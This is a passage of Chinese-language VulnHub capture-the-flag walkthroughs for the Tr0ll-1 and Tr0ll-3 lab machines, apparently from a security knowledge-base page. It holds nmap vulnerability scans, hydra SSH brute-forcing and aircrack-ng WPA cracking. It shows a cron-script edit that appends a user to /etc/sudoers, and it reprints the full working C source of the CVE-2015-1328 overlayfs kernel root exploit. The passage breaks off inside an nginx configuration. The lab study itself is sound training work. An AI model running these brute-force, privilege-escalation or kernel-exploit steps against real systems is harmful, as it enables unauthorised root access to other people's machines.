root@kali:~# nmap -A -p 21,22,80 -v 192.168.66.15 --script=vuln -T4
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|_  /secret/: Potentially interesting folder
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.7: 
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2014-0226   6.8     https://vulners.com/cve/CVE-2014-0226
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-2161   5.0     https://vulners.com/cve/CVE-2016-2161
|       CVE-2016-0736   5.0     https://vulners.com/cve/CVE-2016-0736
|       CVE-2014-3523   5.0     https://vulners.com/cve/CVE-2014-3523
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2015-3185   4.3     https://vulners.com/cve/CVE-2015-3185
|       CVE-2014-8109   4.3     https://vulners.com/cve/CVE-2014-8109
|       CVE-2014-0118   4.3     https://vulners.com/cve/CVE-2014-0118
|       CVE-2014-0117   4.3     https://vulners.com/cve/CVE-2014-0117
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
```

通过枚举，得到了一些有趣的东西：

 - 允许匿名FTP登录
 - HTTP服务有2个有趣的页面：robots.txt和secret

允许匿名FTP

有一个文件lol.pcap，发现一些文本文件名secret_stuff.txt被推送到FTP服务器。该文件包含文本：

``` bash
150 Here comes the directory listing.

-rw-r--r--    1 0        0             147 Aug 10 00:38 secret_stuff.txt

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).
```

发现在具有该路径的Web服务器中没有什么有用的。回到从PCAP文件获得的文本文件中的消息。注意到sup3rs3cr3tdirlol一直是supersecretdirlol的代名词，然后检查了它是否可以是HTTP服务的URL路径。发现/sup3rs3cr3tdirlol/存在并且包含一个文件。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub230.jpg)

检查一下文件类型，发现是一个二进制文件。尝试执行它。

``` bash
root@kali:~/vulnhub/troll# file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
```

不用逆向二进制文件，因为当二进制文件运行时，没有内存地址0x0856BF。所以尝试再次使用0x0856BF作为HTTP服务中的URL路径。

``` bash
root@kali:~/vulnhub/troll# ./roflmao 
Find address 0x0856BF to proceedr
```

发现2个web目录

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub231.jpg)


#### /0x0856BF/good_luck/目录

which_one_lol.txt
包含以下的字段

``` bash
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
```

#### /0x0856BF/this_folder_contains_the_password/目录

Pass.txt
包含以下的字段

``` bash
Good_job_:)
```

#### 利用

这些文件可能是2个用户或密码。首先，将第一个文件用作用户列表，将第二个文件用作密码。
使用hydra爆破

``` bash
root@kali:~/vulnhub/troll# hydra -s 22 -v -V -L users -P pass -e n -t 1 -w 30 192.168.66.15 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-31 03:34:11
[DATA] max 1 task per 1 server, overall 1 task, 20 login tries (l:10/p:2), ~20 tries per task
[DATA] attacking ssh://192.168.66.15:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://maleus@192.168.66.15:22
[INFO] Successful, password authentication is supported by ssh://192.168.66.15:22
[ATTEMPT] target 192.168.66.15 - login "maleus" - pass "" - 1 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "maleus" - pass "Good_job_:)" - 2 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "ps-aux" - pass "" - 3 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "ps-aux" - pass "Good_job_:)" - 4 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "felux" - pass "" - 5 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "felux" - pass "Good_job_:)" - 6 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "Eagle11" - pass "" - 7 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "Eagle11" - pass "Good_job_:)" - 8 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "genphlux" - pass "" - 9 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "genphlux" - pass "Good_job_:)" - 10 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "usmc8892" - pass "" - 11 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "usmc8892" - pass "Good_job_:)" - 12 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "blawrg" - pass "" - 13 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "blawrg" - pass "Good_job_:)" - 14 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 15 of 20 [child 0] (0/0)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "Good_job_:)" - 16 of 21 [child 0] (0/1)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "" - 17 of 22 [child 0] (0/2)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "Good_job_:)" - 18 of 23 [child 0] (0/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[ATTEMPT] target 192.168.66.15 - login "overflow" - pass "" - 19 of 23 [child 0] (0/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[ATTEMPT] target 192.168.66.15 - login "overflow" - pass "Good_job_:)" - 20 of 23 [child 0] (0/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[REDO-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "" - 21 of 23 [child 0] (1/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[REDO-ATTEMPT] target 192.168.66.15 - login "wytshadow" - pass "Good_job_:)" - 22 of 23 [child 0] (2/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[REDO-ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "" - 23 of 23 [child 0] (3/3)
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[STATUS] attack finished for 192.168.66.15 (waiting for children to complete tests)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-31 03:34:49
```

问题始于用户blawrg，如果hydra无法登录，则主机将阻止Kali的IP。必须更改Kali的IP，然后才能开始尝试新用户。爆破完成，但是没有用户可以登录。

注意到包含Pass.txt的目录是this_folder_contains_the_password。这可能意味着某些情况，因此再次尝试使用Pass.txt作为密码，但溢出后可以使用密码WTH！登录。

``` bash
[RE-ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "" - 16 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "" - 17 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "vis1t0r" - pass "Pass.txt" - 18 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.66.15 - login "overflow" - pass "" - 19 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.66.15 - login "overflow" - pass "Pass.txt" - 20 of 20 [child 0] (0/0)
[22][ssh] host: 192.168.66.15   login: overflow   password: Pass.txt
[STATUS] attack finished for 192.168.66.15 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-31 03:41:02
```

成功登录

``` bash
root@kali:~# ssh overflow@192.168.66.15
Enter passphrase for key '/root/.ssh/id_rsa': 
overflow@192.168.66.15's password: 
Permission denied, please try again.
overflow@192.168.66.15's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '16.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Aug 13 01:14:09 2014 from 10.0.0.12
Could not chdir to home directory /home/overflow: No such file or directory
$ id
uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)
$ whoami
overflow
```

#### 提权

登录后，尝试找到该flag，但找不到。由于overflow是低权限用户，因此必须提权并找到root flag，然后再访问更多目录。

 - 已经检查crontabs，并且没有文件可写。
 - tmp目录为空

我开始在var/中检查world可写文件。没有有趣的文件，但是只有一个。

``` bash
$ l_path=var/*/*;while [ "$l_path" != / -a "$l_path" != . ]; do ls -ld $l_path; l_path=$(dirname -- "$l_path");done;
...
-rwxrwxrwx  1 root       root            23 Aug 13  2014 var/log/cronlog
...

```
检查var/log/cronlog

``` bash
$ cat var/log/cronlog
*/2 * * * * cleaner.py
```

这是cron job，每2分钟运行一次。如果可以修改cleaner.py并让系统做点什么，那么就可以升级overflow的权限。但是首先，必须找到cleaner.py。

``` bash
$ find / -name cleaner.py 2>/dev/null | grep "cleaner.py"
/lib/log/cleaner.py
```

查看cleaner.py

``` bash
$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /tmp/* ')
except:
        sys.exit()
```

找到了python文件，它是可写的。


 - 修改cleaner.py

通过向帐户溢出添加sudo su	权限来修改了cleaner.py。当执行bash命令sudo su时，会得到root shell。

``` bash
overflow@troll:/$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "overflow ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()
```

等待2分钟...。靶机将我踢了出去，再次登录并可升级为root。

``` bash
$ sudo su

[sudo] password for overflow: 
Sorry, try again.
[sudo] password for overflow: 
root@troll:/# id
uid=0(root) gid=0(root) groups=0(root)
root@troll:/# whoami
root
root@troll:/# pwd
/
root@troll:/# cd /root
root@troll:~# ls
proof.txt
root@troll:~# cat proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub232.jpg)


#### 提权2

linux 内核提权

参考[Linux-Kernel-3.13.0-3.19-Ubuntu-12.04/14.04/14.10/15.04-'overlayfs'-Local-Privilege-Escalation](https://www.exploit-db.com/exploits/37292)


 - CVE : CVE-2015-1328 

``` bash
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
```

过程太简单在这里就不多写文演示了

#### 知识点总结

 - ftp匿名登录
 - hydra爆破ssh密码
 - cron job + world writeable py脚本提权
 - CVE-2015-1328 linux内核提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>


<!-- kb:end Tr0ll-1 -->

</details>

<a id="case-tr0ll-3"></a>

## 无线捕获、编辑历史与权限程序

cap 数据、代理与 viminfo 提供账户线索，原文跟踪 SUID 程序及 setresuid 的执行结果。

<p class="kb-provenance">来源 Tr0ll-3 · 原记录 2020-04-07 · 22 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-tr0ll-3">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Tr0ll-3 -->

#### 名称
名称：Tr0ll: 3
发布日期：2019年8月6日

#### 下载

 - Download: https://drive.google.com/file/d/1Jshz0VifMrw3S-Kcq8C3nf9HMQtXuKrW/view
 - Download (Mirror): https://download.vulnhub.com/tr0ll/Tr0ll3.ova
 - Download (Torrent): https://download.vulnhub.com/tr0ll/Tr0ll3.ova.torrent



#### 描述

Tr0ll系列的最新版本。这与之前的迭代略有不同，仍然处于Beginner++级别。希望每个人都玩得开心，请确保在flag的屏幕截图上标记@ Maleus21。

您将需要使用start：here登录ssh

类型：Boot 2 root
目标：获取flag.txt
难度：初学者++
娱乐级别：超过9000


#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.120
Host is up (0.00018s latency).
MAC Address: 08:00:27:C3:39:77 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -v -sV -p- 192.168.56.120
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
```

使用默认的账号密码登录ssh

``` bash
root@kali:~# ssh start@192.168.56.120
Enter passphrase for key '/root/.ssh/id_rsa': 
start@192.168.56.120's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

start@Tr0ll3:~$ id
uid=1001(start) gid=1001(start) groups=1001(start)
start@Tr0ll3:~$ whoami
start
start@Tr0ll3:~$ ls
bluepill  redpill
start@Tr0ll3:~$
```

如下所示使用find命令枚举具有“0777”所有权限的可写文件。

``` bash
start@Tr0ll3:~$ find / -type f -perm 0777 2>/dev/null
/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt
```

发现两个有趣的文件，一个是“.cap文件”（wytshadow.cap），另一个是“文本文件”（gold_star.txt）。

并将它们下载下来，然后分析它们

有了.cap文件，可以用Wireshark打开该文件，发现所有数据包都将协议标记为“ 802.11”，并且捕获的流量看起来像无线网络数据包，因为众所周知，802.11是用于传输的协议无线连接的设备之间的数据包的数量。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub236.jpg)

嗯！在这里aircrack-ng可能有助于提取密码。在这里可以将gold_star.txt文件与wytshadow.cap一起使用，如下图所示。

``` bash
root@kali:~/vulnhub/troll3# aircrack-ng -w gold_star.txt wytshadow.cap
Reading packets, please wait...
Opening wytshadow.cap
Read 1183 packets.

   #  BSSID              ESSID                     Encryption

   1  18:D6:C7:3F:23:89  wytshadow                 WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening wytshadow.cap
Read 1183 packets.

1 potential targets


                               Aircrack-ng 1.6 

      [00:04:34] 2451168/3248872 keys tested (9090.46 k/s) 

      Time left: 1 minute, 27 seconds                           75.45%

                          KEY FOUND! [ gaUoCe34t1 ]


      Master Key     : ED 12 0B 40 F5 AF 80 16 F5 F7 4F 9F 9E 39 BB AE 
                       00 32 07 E9 26 81 31 DB 9C 54 64 84 5E 5D 19 C6 

      Transient Key  : 7F 1C A9 01 4E B9 B3 6F B3 95 7D D2 6E C9 10 BE 
                       50 D4 1A 6C 72 F8 AB 8B 97 A4 20 B1 2D 92 19 18 
                       C7 86 C0 17 2D 05 28 C7 6F 95 06 12 4F C2 F5 2A 
                       87 B7 F5 21 22 3D F7 CA BC 99 8B B5 CA 15 EA 43 

      EAPOL HMAC     : 73 4D E4 22 8E B7 F2 91 4E 74 7D CF 59 73 80 F7
```

太屌了！！aircrack-ng给了密码:gaUoCe34t1。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub237.jpg)

获取密码后，将使用凭据wytshadow：gaUoCe34t1切换到另一个名为“wytshadow的帐户”的帐户

``` bash
start@Tr0ll3:~$ su wytshadow
Password: 
wytshadow@Tr0ll3:/home/start$ id
uid=1003(wytshadow) gid=1003(wytshadow) groups=1003(wytshadow)
wytshadow@Tr0ll3:/home/start$ whoami
wytshadow
wytshadow@Tr0ll3:/home/start$ pwd
/home/start
wytshadow@Tr0ll3:/home/start$ ls
ls: cannot open directory '.': Permission denied
```

成功登录后，查看了“/”目录的目录和文件列表，并注意到一个名为“ohhfun”的文件具有SUID位，因此它具有以root身份运行的权限。

考虑到这一点，按照给定的图形运行了文件。在这里可以看到它通过连续执行文本消息指向LYNX。

``` bash
wytshadow@Tr0ll3:~$ pwd
/home/wytshadow
wytshadow@Tr0ll3:~$ ./oohfun
iM Cr@zY L1k3 AAA LYNX
iM Cr@zY L1k3 AAA LYNX
iM Cr@zY L1k3 AAA LYNX
```

Lynx是一个命令行浏览器，也许它将不得不做进一步的工作。

然后，使用Wytshadow的sudo权限，发现nginx可作为root运行。

``` bash
wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow: 
Matching Defaults entries for wytshadow on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wytshadow may run the following commands on Tr0ll3:
    (root) /usr/sbin/service nginx start
```

遍历nginx目录并打开其配置文件“sites-enabled sites”文件。看到用户代理为Lynx，正在侦听8080。

如下所示

``` bash
wytshadow@Tr0ll3:/etc/nginx/sites-enabled$ cat default 
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
        listen 8080 default_server;
        listen [::]:8080 default_server;
                if ($http_user_agent !~ "Lynx*"){
    return 403;
}
        # SSL configuration
        #
        # listen 443 ssl default_server;
        # listen [::]:443 ssl default_server;
        #
        # Note: You should disable gzip for SSL traffic.
        # See: https://bugs.debian.org/773332
        #
        # Read up on ssl_ciphers to ensure a secure configuration.
        # See: https://bugs.debian.org/765782
        #
        # Self signed certs generated by the ssl-cert package
        # Don't use them in a production server!
        #
        # include snippets/snakeoil.conf;

        root /var/nginx/www;

        # Add index.php to the list if you are using PHP
        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }

